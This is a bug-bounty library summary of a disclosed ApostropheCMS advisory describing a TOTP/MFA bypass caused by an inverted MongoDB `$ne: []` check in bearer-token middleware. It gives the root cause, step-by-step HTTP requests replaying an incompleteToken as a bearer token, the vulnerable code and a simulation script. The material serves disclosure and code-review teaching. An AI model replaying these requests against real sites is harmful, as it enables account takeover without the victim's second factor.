# ApostropheCMS MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware

Inverted MongoDB $ne:[] query in ApostropheCMS bearer-token middleware accepts incomplete login tokens, letting password-only attackers bypass TOTP/MFA for full API access.

- Payout: Research
- Severity: high
- Program: ApostropheCMS
- Found by: 0xkakash1
- Disclosed: 2026-03-18
- CVE: CVE-2026-32730
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-v9xm-ffx2-7h35
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-v9xm-ffx2-7h35
- Tags: area:web domain:web impact:ato impact:privesc kind:research platform:ghsa sev:high tech:nodejs technique:source-review vuln:access-control vuln:auth-bypass vuln:mfa-bypass

**Target:** Bearer token auth middleware in @apostrophecms/express (Node.js/MongoDB)
**Root cause:** getBearer() query uses `requirementsToVerify: { $ne: [] }`, which matches tokens with non-empty (unverified) requirement arrays instead of empty ones, inverting the intended check. A second bug deletes tokens by `token.userId` instead of `token._id`, so incomplete tokens persist.
**Steps:**
1. POST `/api/v1/@apostrophecms/login/login` with `{"username": "admin", "password": "correct_password", "session": false}`
2. Server verifies password but returns `{"incompleteToken": "clxxxxxxxxxxxxxxxxxxxxxxxxx"}` since TOTP pending
3. Send `GET /api/v1/@apostrophecms/page` with header `Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx`
4. getBearer() query matches because `requirementsToVerify: ["AposTotp"]` satisfies `$ne: []`; req.user set, full API access without TOTP
**How found:** Code review of the bearer middleware: the comment stated the array should be 'empty or inexistant' but the query used `$ne: []`, which matches non-empty arrays — the opposite. Author enumerated token states (absent, pending, empty, $unset) to confirm the inversion.
**Exploitation:** Attacker with a compromised password logs in, receives the incompleteToken, and replays it as a bearer token. The inverted query accepts it, granting full authenticated API access as the victim without any TOTP code. The token-deletion bug keeps it valid for its full lifetime (default 1 hour) even after legitimate MFA login.
**Escalation:** Second bug (removeOne by userId instead of _id) prevents incomplete token deletion, extending the bypass window across legitimate logins.
**Insight:** When a comment states intent ('empty or inexistant'), diff it against the operator: `$ne: []` matches non-empty arrays, `$size: 0` matches empty. Enumerate every lifecycle state of the field (absent, populated, emptied, $unset) against the query to catch inverted logic.

## Proof of concept (copied exactly from the original report)

**Login request returning incompleteToken**

```
POST /api/v1/@apostrophecms/login/login
   Content-Type: application/json

   {"username": "admin", "password": "correct_password", "session": false}

2. **Receive incomplete token** (server correctly requires TOTP):
   {"incompleteToken": "clxxxxxxxxxxxxxxxxxxxxxxxxx"}

3. **Use incomplete token as bearer token** (bypassing TOTP):
   GET /api/v1/@apostrophecms/page
   Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx
```

**Vulnerable getBearer MongoDB query**

```
async function getBearer() {
    const bearer = await self.apos.login.bearerTokens.findOne({
        _id: req.token,
        expires: { $gte: new Date() },
        // requirementsToVerify array should be empty or inexistant
        // for the token to be usable to log in.
        $or: [
            { requirementsToVerify: { $exists: false } },
            { requirementsToVerify: { $ne: [] } }  // BUG
        ]
    });
    return bearer && bearer.userId;
```

**PoC script simulating vulnerable query**

```
function vulnerableQuery(token) {
  // $or: [
  //   { requirementsToVerify: { $exists: false } },
  //   { requirementsToVerify: { $ne: [] } }     <-- BUG
  // ]
  const cond1 = mongoExists(token, 'requirementsToVerify', false);
  const cond2 = ('requirementsToVerify' in token)
    ? mongoNe(token.requirementsToVerify, [])
    : false;
  return cond1 || cond2;
}
```

